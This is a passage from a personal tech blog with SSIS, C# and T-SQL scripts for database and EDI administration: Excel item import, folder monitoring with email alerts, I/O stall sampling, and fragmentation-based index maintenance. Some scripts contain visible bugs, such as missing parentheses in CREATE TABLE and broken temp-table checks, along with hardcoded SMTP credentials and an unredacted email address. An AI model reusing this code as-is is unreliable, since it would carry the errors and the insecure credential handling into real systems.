Tuesday, December 15, 2015

SSIS package Import Items from Excel file to WMS system

We found CSR missing enter some item information sometime. Customer send us a excel file. The item information inside the file. We can get item information from excel file and then import to WMS SQL table. So I created this package to import items to our WMS.
1. Create a SSIS project in Microsoft Visual Visual Studio.
2. Name the package "InsertItems.dtsx".

3.Create the following Parameters.

4.Create Data Flow Task

5.Edit the Data Flow detail.

6.InsertItems.dtsx control flow.
The script code.

#region Namespaces
using System;
using System.Data;
using Microsoft.SqlServer.Dts.Runtime;
using System.Windows.Forms;
using System.Collections.Generic;
using System.Data.OleDb;
using System.Net.Mail;
using System.Net;
#endregion

namespace ST_fbf9ced29caf40f891b78b2e509a9bd5
{
    /// <summary>
    /// ScriptMain is the entry point class of the script.  Do not change the name, attributes,
    /// or parent of this class.
    /// </summary>
[Microsoft.SqlServer.Dts.Tasks.ScriptTask.SSISScriptTaskEntryPointAttribute]
public partial class ScriptMain : Microsoft.SqlServer.Dts.Tasks.ScriptTask.VSTARTScriptObjectModelBase
{
        #region Help:  Using Integration Services variables and parameters in a script
        /* To use a variable in this script, first ensure that the variable has been added to 
         * either the list contained in the ReadOnlyVariables property or the list contained in 
         * the ReadWriteVariables property of this script task, according to whether or not your
         * code needs to write to the variable.  To add the variable, save this script, close this instance of
         * Visual Studio, and update the ReadOnlyVariables and 
         * ReadWriteVariables properties in the Script Transformation Editor window.
         * To use a parameter in this script, follow the same steps. Parameters are always read-only.
         * 
         * Example of reading from a variable:
         *  DateTime startTime = (DateTime) Dts.Variables["System::StartTime"].Value;
         * 
         * Example of writing to a variable:
         *  Dts.Variables["User::myStringVariable"].Value = "new value";
         * 
         * Example of reading from a package parameter:
         *  int batchId = (int) Dts.Variables["$Package::batchId"].Value;
         *  
         * Example of reading from a project parameter:
         *  int batchId = (int) Dts.Variables["$Project::batchId"].Value;
         * 
         * Example of reading from a sensitive project parameter:
         *  int batchId = (int) Dts.Variables["$Project::batchId"].GetSensitiveValue();
         * */

        #endregion

        #region Help:  Firing Integration Services events from a script
        /* This script task can fire events for logging purposes.
         * 
         * Example of firing an error event:
         *  Dts.Events.FireError(18, "Process Values", "Bad value", "", 0);
         * 
         * Example of firing an information event:
         *  Dts.Events.FireInformation(3, "Process Values", "Processing has started", "", 0, ref fireAgain)
         * 
         * Example of firing a warning event:
         *  Dts.Events.FireWarning(14, "Process Values", "No values received for input", "", 0);
         * */
        #endregion

        #region Help:  Using Integration Services connection managers in a script
        /* Some types of connection managers can be used in this script task.  See the topic 
         * "Working with Connection Managers Programatically" for details.
         * 
         * Example of using an ADO.Net connection manager:
         *  object rawConnection = Dts.Connections["Sales DB"].AcquireConnection(Dts.Transaction);
         *  SqlConnection myADONETConnection = (SqlConnection)rawConnection;
         *  //Use the connection in some code here, then release the connection
         *  Dts.Connections["Sales DB"].ReleaseConnection(rawConnection);
         *
         * Example of using a File connection manager
         *  object rawConnection = Dts.Connections["Prices.zip"].AcquireConnection(Dts.Transaction);
         *  string filePath = (string)rawConnection;
         *  //Use the connection in some code here, then release the connection
         *  Dts.Connections["Prices.zip"].ReleaseConnection(rawConnection);
         * */
        #endregion


/// <summary>
        /// This method is called when this script task executes in the control flow.
        /// Before returning from this method, set the value of Dts.TaskResult to indicate success or failure.
        /// To open Help, press F1.
        /// </summary>
public void Main()
{
// TODO: Add your code here
            OleDbDataAdapter AddedNewItemsDA = new OleDbDataAdapter();
            System.Data.DataTable AddedNewItemsDT = new System.Data.DataTable();
            AddedNewItemsDA.Fill(AddedNewItemsDT, Dts.Variables["User::AddedItems"].Value);
            string AddedItemsStr = "";

            OleDbDataAdapter DuplicateItemsDA = new OleDbDataAdapter();
            System.Data.DataTable DuplicateItemsDT = new System.Data.DataTable();
            DuplicateItemsDA.Fill(DuplicateItemsDT, Dts.Variables["User::DuplicateItems"].Value);
            string DuplicateItemsStr = "";

            string ToAddress = Dts.Variables["$Package::ToAddress"].Value.ToString();

            //MessageBox.Show(ToAddress);


            int AddedItemCount = AddedNewItemsDT.Rows.Count;
            int DuplicateItemCount = DuplicateItemsDT.Rows.Count;


            if (AddedItemCount != 0)
            {
                AddedItemsStr = "Added the following " + AddedItemCount.ToString() + " new item(s). \r\n";
                foreach (DataRow row in AddedNewItemsDT.Rows)
                {
                    AddedItemsStr = AddedItemsStr + row.ItemArray[0].ToString() + "\r\n";
                }
            }
            else
            {
                AddedItemsStr = "No item(s) are added! \r\n";
            }


            if (DuplicateItemCount !=0)
            {
                DuplicateItemsStr = "The following " + DuplicateItemCount.ToString() + " item(s) are duplicate. They are already in the system. \r\n";
                foreach (DataRow row in DuplicateItemsDT.Rows)
                {
                    DuplicateItemsStr = DuplicateItemsStr + row.ItemArray[0].ToString() + "\r\n";
                }
            }

            string Mailbody = AddedItemsStr + "\r\n" + "\r\n" + DuplicateItemsStr;
            //MessageBox.Show(Mailbody);

            SendMail(ToAddress, Mailbody);

Dts.TaskResult = (int)ScriptResults.Success;
            
}

        public void SendMail(string to, string mailbody)
        {
            MailAddress Mailto = new MailAddress(to);
            MailAddress Mailfrom = new MailAddress("smtpxx@dxxfxx.com");
            MailMessage mail = new MailMessage(Mailfrom, Mailto);
            mail.Subject = "NAV Adding New Items Log.";
            mail.Body = mailbody;
            SmtpClient smtp = new SmtpClient();
            smtp.Host = "Smtp.office365.com";
            smtp.Port = 587;
            smtp.Credentials = new NetworkCredential("smtpxx@dxxfxx.com", "yourpassword");
            smtp.EnableSsl = true;
            smtp.Send(mail); 
        }
        #region ScriptResults declaration
        /// <summary>
        /// This enum provides a convenient shorthand within the scope of this class for setting the
        /// result of the script.
        /// 
        /// This code was generated automatically.
        /// </summary>
        enum ScriptResults
        {
            Success = Microsoft.SqlServer.Dts.Runtime.DTSExecResult.Success,
            Failure = Microsoft.SqlServer.Dts.Runtime.DTSExecResult.Failure
        };
        #endregion
        
}
}

7.Create a Master.dtsx package.


8.Master package control flow.

9.After run the package. It will send an email as log.


Wednesday, December 9, 2015

C# Windows Form Program to monitor EDI files transferring.

        Recently, users report to me that the EDI incoming and outgoing files sit on the network share folder for a long time. When this happens, we need to restart the AS2 connector service and restart the EDI tasks. But we need monitor the files and get alert first.
        So I write this C# program to monitor the files. It will check files every 15 minutes.
        1. We need to create two csv files(incoming.csv, and outgoing.csv). It includes Customer, Folder Path, Number of Files (sit on this folder), (current) Status, Last Stauts.
         2. Use Visual Studio to create a C# windows form project. Add two lables, two dataGridViews, and one button. Just like the following.
           3. Code for the from1.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Net.Mail;
using System.Net;
using System.Threading.Tasks;

namespace MonitorDeltaFiles
{
    public partial class Form1 : Form
    {

        string mailstring = "";
        public Form1()
        {
            InitializeComponent();
        }

        //run the following code when load the form.
         private void Form1_Load(object sender, EventArgs e)
        {
            refreshform();
            System.Windows.Forms.Timer timer1 = new System.Windows.Forms.Timer();
            timer1.Interval = 1000 * 60 * 15;
            timer1.Tick += new System.EventHandler(timer1_Tick);
            timer1.Start();
        }


        // function to refresh the from
        private void refreshform()
        {
            mailstring = "";
            int GridViewHeight = 0;
            updatestatus("incoming.csv");
            List<string[]> incomingrows = File.ReadAllLines("incoming.csv").Select(x => x.Split(',')).ToList();
            DataTable incomingdt = new DataTable();
            incomingdt.Columns.Add("Customer");
            incomingdt.Columns.Add("Folder Path");
            incomingdt.Columns.Add("Number of Files");
            incomingdt.Columns.Add("Status");
            incomingdt.Columns.Add("Last Status");
            incomingrows.ForEach(x =>
            { incomingdt.Rows.Add(x); });
            dataGridView1.DataSource = incomingdt;
            GridViewHeight = GetHeightandformatting(dataGridView1);

            lbl_outgoing.Location = new Point(13, 54 + GridViewHeight + 38);
            dataGridView2.Location = new Point(43, 54 + GridViewHeight + 38 + 23);

            updatestatus("outgoing.csv");
            List<string[]> outgoingrows = File.ReadAllLines("outgoing.csv").Select(x => x.Split(',')).ToList();
            DataTable outgoingdt = new DataTable();
            outgoingdt.Columns.Add("Customer");
            outgoingdt.Columns.Add("Folder Path");
            outgoingdt.Columns.Add("Number of Files");
            outgoingdt.Columns.Add("Status");
            outgoingdt.Columns.Add("Last Status");
            outgoingrows.ForEach(x =>
            { outgoingdt.Rows.Add(x); });
            dataGridView2.DataSource = outgoingdt;
            GridViewHeight = GetHeightandformatting(dataGridView2);

            if (mailstring.Length > 0)
            {
                mailstring = "Please check the following path(s).\r\n" + "\r\n" + mailstring;
                Task.Factory.StartNew(() => { SendMail("victor.quan@durafreight.com", mailstring); });
                //SendMail("victor.quxx@dxxxxx.com", mailstring);
               this.Activate();
            }
        }

        // function update the csv files.
        private void updatestatus(string filename)
        {
            int returnFileNum = 0 ;
            StreamReader sr = new StreamReader(filename);
            var lines = new List<string[]>();
            while (!sr.EndOfStream)
            {
                string[] Line = sr.ReadLine().Split(',');
                lines.Add(Line);
            }
            sr.Close();
            foreach (var item in lines)
            {
                returnFileNum = checkfiles(item[1]);
                item[4] = item[3];
                if (returnFileNum == 0)
                {
                    item[2] = "0";
                    item[3] = "Green";
                }
                else
                {
                    if (returnFileNum < Int32.Parse(item[2]))
                    {
                        item[2] = returnFileNum.ToString();
                        item[3] = "Orange";
                    }
                    else
                    {
                        item[2] = returnFileNum.ToString();
                        item[3] = "Red";
                    }
                }
            }

            StreamWriter newfile = new StreamWriter(filename);
            foreach (var item in lines)
            {
                newfile.WriteLine(item[0] + "," + item[1] + "," + item[2] + "," + item[3] +"," + item[4]);
            }
            lines.Clear();
            newfile.Close();
        }


        //get the files number in the folder
        private int checkfiles(string fullfilename)
        {
            string[] files = Directory.GetFiles(fullfilename, "*.*", SearchOption.TopDirectoryOnly);
            return files.Length;
        }


        //format the table, high light red when both current status and last status are red.
        private int GetHeightandformatting(DataGridView myDataGridView)
        {
            myDataGridView.AutoResizeColumns();

            int height = 0;
            foreach (DataGridViewRow row in myDataGridView.Rows)
            {
                height += row.Height;
            }
            height += myDataGridView.ColumnHeadersHeight;

            int width = 0;
            foreach (DataGridViewColumn col in myDataGridView.Columns)
            {
                width += col.Width;
            }

            myDataGridView.ClientSize = new Size(width + 3, height + 2);

            foreach (DataGridViewRow Myrow in myDataGridView.Rows)
            {
                if (Myrow.Cells[3].Value.ToString() == "Red" & Myrow.Cells[4].Value.ToString() == "Red")
                {
                    Myrow.Cells[3].Style.BackColor = Color.Red;
                    Myrow.Cells[4].Style.BackColor = Color.Red;
                    mailstring = mailstring + Myrow.Cells[1].Value.ToString() + "\r\n";
                }
            }
            return height;
        }

        private void btnrefresh_Click(object sender, EventArgs e)
        {
            refreshform();
        }

        //user timer, run it very 15 minutes.
        private void timer1_Tick(object sender, EventArgs e)
        {
            refreshform();
        }

        //send email alert when find files sit in folder more than 30 minutes.
        private void SendMail(string to, string mailbody)
        {
            MailAddress Mailto = new MailAddress(to);
            MailAddress Mailfrom = new MailAddress("smtpxx@dxxxx.xxx");
            MailMessage mail = new MailMessage(Mailfrom, Mailto);
            mail.Subject = "Please check the AS2 and Delta Server";
            mail.Body = mailbody;
            SmtpClient smtp = new SmtpClient();
            smtp.Host = "Smtp.office365.com";
            smtp.Port = 587;
            smtp.Credentials = new NetworkCredential("smtpxx@dxxxx.xxx", "Yourpassword");
            smtp.EnableSsl = true;
            smtp.Send(mail);
        }

    }
}

4.Test.


Thursday, August 27, 2015

Capture the SQL Database Files IO (Read and Write) Stall Delta

The MS SQL server provides sys.dm_io_virtual_file_stats DMV. It will give the accumulate IO stats of the database files. These data counters accumulate the data since the SQL service start up.

Some time we need the delta data to see how is the IO delay when we run some sql statement.

Here is the script to show the delta of DB files IO stats.
The script will run 10 minutes, It will capture the IO stats sample very 10 seconds. The compare the recent two samples and then get the delta data.

You can change the run duration and interval. Or create the stored procedure for it.

SQL SCRIPT BEGIN HERE.

DECLARE @DBName nvarchar(30) = 'Tempdb', --Change the DBName you want to capture
@Interval_sec int = 10, --Change the interval if you want (seconds)
@Duration_min int = 10, --Change the run duration if you want (minutes)
@DelayLength char(8),
@EndTime Datetime
SET @DelayLength = CAST(CAST(DATEADD(ss,@Interval_sec,'00:00:00') AS Time) AS char(8))
SET @EndTime = DATEADD(MINUTE,@Duration_min, GETDATE())

IF OBJECT_ID('#dmv_file_IO_samples') IS NOT NULL
DROP TABLE #dmv_file_IO_samples

IF OBJECT_ID('#DMV_File_IO_History') IS NOT NULL
DROP TABLE #DMV_File_IO_History

--Captuer the first sample.
SELECT *, 1 AS sample, GETDATE() AS sample_time
INTO #dmv_file_IO_samples
FROM sys.dm_io_virtual_file_stats(DB_ID(@DBName),null)

WAITFOR DELAY @DelayLength --Waitfor 10 seconds

--Capture sample2
INSERT INTO #dmv_file_IO_samples
SELECT *, 2, GETDATE()
FROM sys.dm_io_virtual_file_stats(DB_ID(@DBName),null)

--Find the difference between sample 1 and 2 , and insert to #DMV_File_IO_History table
SELECT W2.database_id,
W2.file_id,
w2.sample_ms -w1.sample_ms AS Sample_ms_Delta,
w2.num_of_reads - w1.num_of_reads AS Num_of_Reads_Delta,
w2.num_of_bytes_read - w1.num_of_bytes_read AS Num_of_Bytes_Read_Delta,
w2.io_stall_read_ms - w1.io_stall_read_ms AS IO_Stall_Read_ms_Delta,
w2.num_of_writes -W1.num_of_writes AS Num_of_Writes_Delta,
w2.num_of_bytes_written -w1.num_of_bytes_written AS Num_of_bytes_Written_Delta,
w2.io_stall_write_ms - w1.io_stall_write_ms AS IO_Stall_Write_ms_Delta,
w2.io_stall - w1.io_stall AS IO_Stall_Delta,
DATEDIFF(ms, w1.sample_time, w2.sample_time) AS Interval_ms,
GETDATE() AS SampleTime
INTO #DMV_File_IO_History
FROM #dmv_file_IO_samples AS W1
INNER JOIN #dmv_file_IO_samples AS W2
ON W1.database_id = W2.database_id AND W1.file_id = W2.file_id
WHERE W1.sample = 1 AND W2.sample =2
ORDER BY 1,2

--Do the loop untill to @EndTime
WHILE (GETDATE() <= @EndTime)
BEGIN
DELETE #dmv_file_IO_samples WHERE sample = 1
UPDATE #dmv_file_IO_samples SET sample = 1 WHERE sample = 2
WAITFOR DELAY @DelayLength --Waitfor xx seconds
--Capture sample again.
INSERT INTO #dmv_file_IO_samples
SELECT *, 2, GETDATE()
FROM sys.dm_io_virtual_file_stats(DB_ID(@DBName),null)
--Find the difference between sample 1 and 2
INSERT INTO #DMV_File_IO_History
SELECT W2.database_id,
W2.file_id,
w2.sample_ms -w1.sample_ms AS Sample_ms_Delta,
w2.num_of_reads - w1.num_of_reads AS Num_of_Reads_Delta,
w2.num_of_bytes_read - w1.num_of_bytes_read AS Num_of_Bytes_Read_Delta,
w2.io_stall_read_ms - w1.io_stall_read_ms AS IO_Stall_Read_ms_Delta,
w2.num_of_writes -W1.num_of_writes AS Num_of_Writes_Delta,
w2.num_of_bytes_written -w1.num_of_bytes_written AS Num_of_bytes_Written_Delta,
w2.io_stall_write_ms - w1.io_stall_write_ms AS IO_Stall_Write_ms_Delta,
w2.io_stall - w1.io_stall AS IO_Stall_Delta,
DATEDIFF(ms, w1.sample_time, w2.sample_time) AS Interval_ms,
GETDATE() AS SampleTime
FROM #dmv_file_IO_samples AS W1
INNER JOIN #dmv_file_IO_samples AS W2
ON W1.database_id = W2.database_id AND W1.file_id = W2.file_id
WHERE W1.sample = 1 AND W2.sample =2
ORDER BY 1,2
END

SELECT * FROM #DMV_File_IO_History
ORDER BY database_id, file_id, SampleTime

DROP TABLE #dmv_file_IO_samples
DROP TABLE #DMV_File_IO_History

Monday, July 27, 2015

Maintenance MS SQL Database Indexes Base on the Index PercentageFragmented.

On the MS SQL server, we want to maintenance the database indexes automatically base on the index fragmentation.


First, We run the Index_Evaluation.sql every night. It will check all the indexes on the database.

If the index PercentageFragmented  between 5 and 30, we will insert this index record to INDEX_REORGANIZE_SCHEDULE table.

If the Non-Clustered index PercentageFragmented  >=30, we will insert this index record to NC_INDEX_REBUILD_SCHEDULE table.

If the Clustered index PercentageFragmented  >=30, we will insert this index record to C_INDEX_REBUILD_SCHEDULE table.


Second, We schedule to run Index_Reorganize.sql and NC_Index_Rebuild.sql every night, to reorganize indexes which PercentageFragmented  between 5 and 30, and reindex Non-Clustered indexes which PercentageFragmented  >=30.

Third, We schedule to run C_Index_Rebuild.sql on weekend to reindex Clustered indexes which PercentageFragmented  >=30.

Please change the database name and schedule base on your system.


Here are the SQL code.


Index_Evaluation.sql

--------------------------------------------------------------------------------
-- Evaluate every Index on the Database --
-- Put them to Reorganize or Rebuild schedule table                   --
-- base on the index Fragmentation. --
--                            Author: Victor Hu                                          --
--------------------------------------------------------------------------------

--Specify the database that you want to evaluate the indexes.
USE AdventureWorks2012;
GO

-- Set the Dabatbase that will be checked index information.
/* Begin From Here */
--Declare variables 
DECLARE @command NVARCHAR(4000);
DECLARE @SchemaName NVARCHAR(100);
DECLARE @TableName NVARCHAR(100);
DECLARE @IndexName NVARCHAR (100);
DECLARE @IndexID INT;
DECLARE @TableID INT;
DECLARE @IndexType NVARCHAR(30);
DECLARE @PercentageFragmented FLOAT;
DECLARE @DB_ID INT;
DECLARE @DatabaseID INT;
DECLARE @ONLINE NVARCHAR(30);
DECLARE @FILLFACTOR NVARCHAR(3);
DECLARE @ProductVersion NCHAR(2);
DECLARE @Log_FileName NVARCHAR(500);
DECLARE @SQL NVARCHAR(1000);
DECLARE @drive VARCHAR(2);
DECLARE @Dir NVARCHAR(500);
DECLARE @FileName NVARCHAR(500);

--SET @DB_ID = 7
SET @DB_ID = DB_ID();

/********************************************************************************/
/*Create IndexMaintenance Database                 */
/* Drive : Drive letter */
/* Dytectory : like '\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\' */
/* Name : file name on the drive directory , Like 'IndexMaintenance' */
/********************************************************************************/

SELECT @drive = 'C:'
SELECT @Dir = '\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\'
SELECT @FileName ='IndexMaintenance'

--------------------------------------------------------------
---- set produc SQL server version                        --  
---- 8% SQL 2000                                             --
---- 9% SQL 2005 and up --
--------------------------------------------------------------
SET @ProductVersion = '9%' 

--Instantiate @ONLINE for later use
SET @ONLINE = '';
IF CAST(SERVERPROPERTY('edition') AS NVARCHAR(30)) LIKE 'Enterprise%' OR CAST(SERVERPROPERTY('edition') AS NVARCHAR(30)) LIKE 'Developer%'  SET @ONLINE = ', ONLINE = ON';

--SET @FILLFACTOR to desired fill factor
SET @FILLFACTOR = '80';
------------------------------ 
------------------------------

IF NOT EXISTS (SELECT name FROM sys.databases WHERE name = 'IndexMaintenance') AND (@drive <> '' AND  @Dir <> '' AND @FileName <>'')
BEGIN
SELECT @FileName  = @drive + @Dir + @FileName +'.mdf'
SELECT @Log_FileName = @FileName + '.ldf'
PRINT @FileName
SET @SQL =
N'CREATE DATABASE [IndexMaintenance] ON (NAME = N' + N'''' + N'IndexMaintenance' + N'''' +
N', FILENAME = N' + N'''' + @FileName + N''''+ N', SIZE = 4, FILEGROWTH = 10%)' +
N' LOG ON (NAME = N' + N'''' + N'Maintenance_log' + N'''' + N', FILENAME = N' + N'''' +
@Log_FileName + N'''' + N' , SIZE = 2, FILEGROWTH = 10%) COLLATE Latin1_General_CI_AS'
EXEC (@SQL) 
PRINT (@SQL) 
END
ELSE 
BEGIN
IF NOT EXISTS (SELECT name FROM sys.databases WHERE name = 'IndexMaintenance')
BEGIN
PRINT ('Please provide Driver, Directory and File name to create database.')
PRINT ('The Program is terminated.')
RETURN --Quit the program
END
END

--------------------------------------
-- Create tables on Database --
--------------------------------------
--Check to see if INDEX_REORGANIZE_SCHEDULE exists, and if not, create it
SET @command = '
USE [IndexMaintenance]
IF NOT EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N'''+'[dbo].[INDEX_REORGANIZE_SCHEDULE]''' + ') AND TYPE in (N'''+ 'U''' + '))
BEGIN
PRINT ''' + 'Could Not Identify The Index Reorganize Table, Creating Now''' + '
SET ANSI_NULLS ON
SET QUOTED_IDENTIFIER ON
CREATE TABLE [dbo].[INDEX_REORGANIZE_SCHEDULE](
[ID] [int] IDENTITY(1,1),
[DatabaseID] [int] NOT NULL,
[SchemaName] [NVARCHAR](100) NOT NULL,
[TableName] [nvarchar](100) NOT NULL,
[IndexName] [nvarchar](100) NOT NULL,
[TableID] [int] NOT NULL,
[IndexID] [int] NOT NULL,
[IndexType] [nvarchar](30) NOT NULL,
[Fragm] [nvarchar](100) NOT NULL,
[Command] [nvarchar] (220) NOT NULL,
[ReorganizeDate] datetime)
ON [PRIMARY]
END'
EXECUTE SP_EXECUTESQL @command;

--Check to see if NC_INDEX_REBUILD_SCHEDULE exists, and if not, create it
SET @command = '';
SET @command = '
USE [IndexMaintenance]
IF NOT EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N''' + '[dbo].[NC_INDEX_REBUILD_SCHEDULE]''' + ') AND TYPE in (N''' + 'U''' + '))
BEGIN
PRINT ''' + 'Could Not Identify The NONCLUSTERED Index Rebuild Table, Creating Now''' + '
SET ANSI_NULLS ON
SET QUOTED_IDENTIFIER ON
CREATE TABLE [dbo].[NC_INDEX_REBUILD_SCHEDULE](
[ID] [int] IDENTITY(1,1),
[DatabaseID] [int] NOT NULL,
[SchemaName] [NVARCHAR](100) NOT NULL,
[TableName] [nvarchar](100) NOT NULL,
[IndexName] [nvarchar](100) NOT NULL,
[TableID] [int] NOT NULL,
[IndexID] [int] NOT NULL,
[IndexType] [nvarchar](30) NOT NULL,
[Fragm] [nvarchar](100) NOT NULL,
[Command] [nvarchar] (220) NOT NULL,
[ReindexDate] datetime
ON [PRIMARY]
END'
EXECUTE SP_EXECUTESQL @command;

--Check to see if C_INDEX_REBUILD_SCHEDULE exists, and if not, create it
SET @command = '';
SET @command = '
USE [IndexMaintenance]
IF NOT EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N''' + '[dbo].[C_INDEX_REBUILD_SCHEDULE]''' + ') AND TYPE in (N''' + 'U''' + '))
BEGIN
PRINT '''+ 'Could Not Identify The CLUSTERED Index Rebuild Table, Creating Now''' + '
SET ANSI_NULLS ON
SET QUOTED_IDENTIFIER ON
CREATE TABLE [dbo].[C_INDEX_REBUILD_SCHEDULE](
[ID] [int] IDENTITY(1,1),
[DatabaseID] [int] NOT NULL,
[SchemaName] [NVARCHAR](100) NOT NULL,
[TableName] [nvarchar](100) NOT NULL,
[IndexName] [nvarchar](100) NOT NULL,
[TableID] [int] NOT NULL,
[IndexID] [int] NOT NULL,
[IndexType] [nvarchar](30) NOT NULL,
[Fragm] [nvarchar](100) NOT NULL,
[Command] [nvarchar] (220) NOT NULL,
[ReindexDate] datetime
ON [PRIMARY]
END'
EXECUTE SP_EXECUTESQL @command;

PRINT 'Checking ' + DB_NAME(@DB_ID) + ' indexes fragmentation.'

--Check to see if temporary work table exists
IF object_id('tempdb..#IndexesEvaluation') is not null 
BEGIN
PRINT 'Identified, Temporary Table, Dropping';
DROP TABLE #IndexesEvaluation;
END

--select the Table Name, Index Name, Table ID, Index ID, Index Type, and the fragmentation percentage of the Index into a temporary workspace
SELECT database_id DatabaseID, sch.name SchemaName ,obj.name TableName, ind.name IndexName, stats.object_id TableID, stats.index_id IndexID, stats.index_type_desc IndexType, avg_fragmentation_in_percent PercentageFragmented
INTO #IndexesEvaluation
FROM sys.dm_db_index_physical_stats (@DB_ID,NULL,NULL,NULL,'detailed') stats 
JOIN sysindexes ind ON (ind.id = stats.object_id and ind.indid = stats.index_id)
JOIN sysobjects obj ON (obj.id = stats.object_id)
JOIN sys.schemas sch ON (obj.uid = sch.schema_id)
WHERE stats.avg_fragmentation_in_percent > 5 and stats.index_id <> 0;

----------------------------------------------------------------------------------------------------------
--INSERT Rows to INDEX_REORGANIZE_SCHEDULE, NC_INDEX_REBUILD_SCHEDULE, C_INDEX_REBUILD_SCHEDULE table --
----------------------------------------------------------------------------------------------------------

DECLARE IndexCursor CURSOR FOR SELECT * FROM #IndexesEvaluation ORDER BY PercentageFragmented DESC;
OPEN IndexCursor
WHILE ( 1=1)
BEGIN
SET @command = '';
FETCH NEXT FROM IndexCursor INTO @DatabaseID, @SchemaName ,@TableName, @IndexName, @TableID, @IndexID, @IndexType, @PercentageFragmented;
IF @@FETCH_STATUS <> 0 
BEGIN
BREAK;
END
IF (@PercentageFragmented < 30.0 )
BEGIN
IF (@ProductVersion = '9%') SET @command = 'ALTER INDEX [' + @IndexName + '] ON [' + @SchemaName + '].[' + @TableName + '] REORGANIZE'
ELSE SET @command = 'DBCC INDEXDEFRAG (0, ' + RTRIM(@TableID) + ',' + RTRIM(@IndexID) + ')'

IF NOT EXISTS (SELECT * FROM [IndexMaintenance].[dbo].[INDEX_REORGANIZE_SCHEDULE] WHERE ([ReorganizeDate] IS NULL AND TableID = @TableID AND IndexID = @IndexID))
BEGIN
INSERT INTO [IndexMaintenance].[dbo].[INDEX_REORGANIZE_SCHEDULE](
[DatabaseID]
,[SchemaName]
,[TableName]
,[IndexName]
,[TableID]
,[IndexID]
,[IndexType]
,[Fragm]
,[Command])
VALUES
(@DatabaseID
,@SchemaName
,@TableName
,@IndexName
,@TableID
,@IndexID
,@IndexType
,@PercentageFragmented
,@command)
PRINT('Inserted record for INDEX_REORGANIZE Table: ' + @SchemaName+ '.'+  @TableName + ', on Index ' + @IndexName)
END
CONTINUE;
END

IF (@PercentageFragmented >= 30.0 AND @IndexType = 'CLUSTERED INDEX') 
BEGIN
IF @ProductVersion = '9%' SET @command = 'ALTER INDEX [' + @IndexName + '] ON [' + @SchemaName + '].[' + @TableName + '] REBUILD WITH (FILLFACTOR = ' + @FILLFACTOR  + @ONLINE + ')'
ELSE SET @command = 'DBCC DBREINDEX([' + @SchemaName + '].['+ @tableName + '],' + @FILLFACTOR + ')'
IF NOT EXISTS (SELECT * FROM [IndexMaintenance].[dbo].[C_INDEX_REBUILD_SCHEDULE] WHERE ([ReindexDate] IS NULL AND TableID = @TableID AND IndexID = @IndexID))
BEGIN
INSERT INTO [IndexMaintenance].[dbo].[C_INDEX_REBUILD_SCHEDULE]
([DatabaseID]
,[SchemaName]
,[TableName]
,[IndexName]
,[TableID]
,[IndexID]
,[IndexType]
,[Fragm]
,[Command])
VALUES
(@DatabaseID
,@SchemaName
,@TableName
,@IndexName
,@TableID
,@IndexID
,@IndexType
,@PercentageFragmented
,@command)
PRINT('Inserted record for C_INDEX_REBUILD Table: ' + @SchemaName + '.' + @TableName + ', on Index ' + @IndexName)
END
CONTINUE;
END

IF (@PercentageFragmented >= 30.0 AND @IndexType <> 'CLUSTERED INDEX')  
BEGIN
IF @ProductVersion = '9%' SET @command = 'ALTER INDEX [' + @IndexName + '] ON [' + @SchemaName + '].[' + @TableName + '] REBUILD WITH (FILLFACTOR = ' + @FILLFACTOR  + @ONLINE + ')'
ELSE SET @command = 'DBCC DBREINDEX(' + @tableName + ',' + @FILLFACTOR + ')'
IF NOT EXISTS (SELECT * FROM [IndexMaintenance].[dbo].[NC_INDEX_REBUILD_SCHEDULE] WHERE ([ReindexDate] IS NULL AND TableID = @TableID AND IndexID = @IndexID))
BEGIN
INSERT INTO [IndexMaintenance].[dbo].[NC_INDEX_REBUILD_SCHEDULE]
([DatabaseID]
,[SchemaName]
,[TableName]
,[IndexName]
,[TableID]
,[IndexID]
,[IndexType]
,[Fragm]
,[Command])
VALUES
(@DatabaseID
,@SchemaName
,@TableName
,@IndexName
,@TableID
,@IndexID
,@IndexType
,@PercentageFragmented
,@command)
PRINT('Inserted record for NC_INDEX_REBUILD Table ' + @SchemaName + '.' + @TableName + ', on Index ' + @IndexName)
END
CONTINUE;
END
END
--Close Cursor And Deallocate
CLOSE IndexCursor
DEALLOCATE IndexCursor



Index_Reorganize.sql


--------------------------------------------------------------
-- Doing Index Reorganize --
--                Author: Victor Hu                              --
--------------------------------------------------------------

--Specify the database that you want to reorganize the indexes.
USE AdventureWorks2012;
GO

DECLARE @Command NVARCHAR(4000);
DECLARE @ID INT;

DECLARE IndexCursor CURSOR FOR  
SELECT ID, Command 
FROM [IndexMaintenance].[dbo].[INDEX_REORGANIZE_SCHEDULE]
WHERE [ReorganizeDate] IS NULL 
OPEN IndexCursor
WHILE 1=1
BEGIN
FETCH NEXT FROM IndexCursor INTO @ID, @Command;
IF @@FETCH_STATUS <> 0
BEGIN
BREAK;
END
BEGIN TRY
EXEC (@command)
UPDATE [IndexMaintenance].[dbo].[INDEX_REORGANIZE_SCHEDULE] SET [ReorganizeDate] = GETDATE() WHERE ID = @ID;
PRINT @command;
END TRY
BEGIN CATCH
PRINT 'Get error when ' + @command;
PRINT 'ErrorMessage: ' + ERROR_MESSAGE();
END CATCH

END
--Close Cursor And Deallocate
CLOSE IndexCursor
DEALLOCATE IndexCursor

EXEC sp_updatestats



NC_Index_Rebuild.sql


--------------------------------------------------------------
-- Doing Nonclustered Index Rebuild --
-- Author: Victor Hu --
--------------------------------------------------------------

--Specify the database that you want to rebuild the indexes.
USE AdventureWorks2012 
GO

DECLARE @Command NVARCHAR(4000);
DECLARE @ID INT;

DECLARE IndexCursor CURSOR FOR  
SELECT ID, Command 
FROM [IndexMaintenance].[dbo].[NC_INDEX_REBUILD_SCHEDULE]
WHERE [ReindexDate] IS NULL 
OPEN IndexCursor
WHILE 1=1
BEGIN
FETCH NEXT FROM IndexCursor INTO @ID, @Command;
IF @@FETCH_STATUS <> 0
BEGIN
BREAK;
END
BEGIN TRY
EXEC (@command)
UPDATE [IndexMaintenance].[dbo].[NC_INDEX_REBUILD_SCHEDULE] SET [ReindexDate] = GETDATE() WHERE ID = @ID;
PRINT @command;
END TRY
BEGIN CATCH
PRINT 'Get error when ' + @command;
